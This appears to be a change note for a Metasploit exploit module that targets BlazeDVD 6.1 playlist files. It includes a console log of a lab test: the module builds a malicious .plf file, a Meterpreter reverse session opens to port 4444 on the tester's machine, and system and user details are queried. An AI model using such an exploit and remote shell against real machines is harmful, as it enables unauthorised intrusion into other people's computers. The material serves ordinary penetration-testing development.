Added target 6.1 to module

We added a target for version 6.1. The updated module was tested using version 6.1.1.6 on Windows 7 SP1 and Windows 8.1 (WOW64). We updated the default target to 6.1.
```
msf4-git (S:0 J:1) exploit(blazedvd_plf) > rexploit
[*] Reloading module...

[*] Creating 'msf.plf' file ...
[+] msf.plf stored at /home/steiner/.msf4/local/msf.plf
msf4-git (S:0 J:1) exploit(blazedvd_plf) > 
[*] Sending stage (769536 bytes) to 192.168.90.187
[*] Meterpreter session 1 opened (192.168.90.1:4444 -> 192.168.90.187:49206) at 2014-04-10 12:09:52 -0400

msf4-git (S:1 J:0) exploit(blazedvd_plf) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WINDOWS8VM
OS              : Windows 8 (Build 9200).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: WINDOWS8VM\Spencer
meterpreter > 
```